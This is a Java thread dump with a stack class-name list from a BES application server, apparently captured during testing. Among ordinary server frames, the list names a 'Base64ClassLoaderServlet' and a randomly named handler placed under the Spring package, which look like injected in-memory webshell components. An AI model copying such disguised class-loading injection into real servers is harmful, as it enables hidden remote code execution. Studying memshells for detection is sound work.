at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
|
||||||
|
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
|
||||||
|
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
|
||||||
|
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
|
||||||
|
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
|
||||||
|
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
|
||||||
|
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
|
||||||
|
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
|
||||||
|
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||||
|
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||||
|
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
StackClassNames:
|
||||||
|
Base64ClassLoaderServlet
|
||||||
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
|
||||||
|
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
|
||||||
|
com.bes.ejb.spark.tcp.transport.AcceptorThread
|
||||||
|
com.bes.ejb.spark.tcp.transport.SelectorThread
|
||||||
|
com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread
|
||||||
|
com.bes.enterprise.appserver.startup.Bootstrap
|
||||||
|
com.bes.enterprise.appserver.startup.CommonClassLoader$1
|
||||||
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
|
com.bes.enterprise.base.disruptor.util.Util
|
||||||
|
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread
|
||||||
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||||
|
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||||
|
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||||
|
com.bes.enterprise.web.util.net.Acceptor
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||||
|
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||||
|
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||||
|
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||||
|
com.bes.enterprise.web.util.threads.WorkQueue
|
||||||
|
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||||
|
com.bes.enterprise.web.websocket.server.WsFilter
|
||||||
|
com.bes.enterprise.webext.BESAppservValve
|
||||||
|
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
|
||||||
|
com.bes.enterprise.webext.BesContextCleanupValve
|
||||||
|
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||||
|
com.bes.enterprise.webtier.connector.CoyoteWriter
|
||||||
|
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||||
|
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||||
|
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||||
|
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||||
|
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
|
||||||
|
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
|
||||||
|
org.hsqldb.lib.HsqlTimer
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskQueue
|
||||||
|
org.hsqldb.lib.HsqlTimer$TaskRunner
|
||||||
|
org.springframework.EZQui.ErrorCphpbHandler
|
||||||
Reference in New Issue
Block a user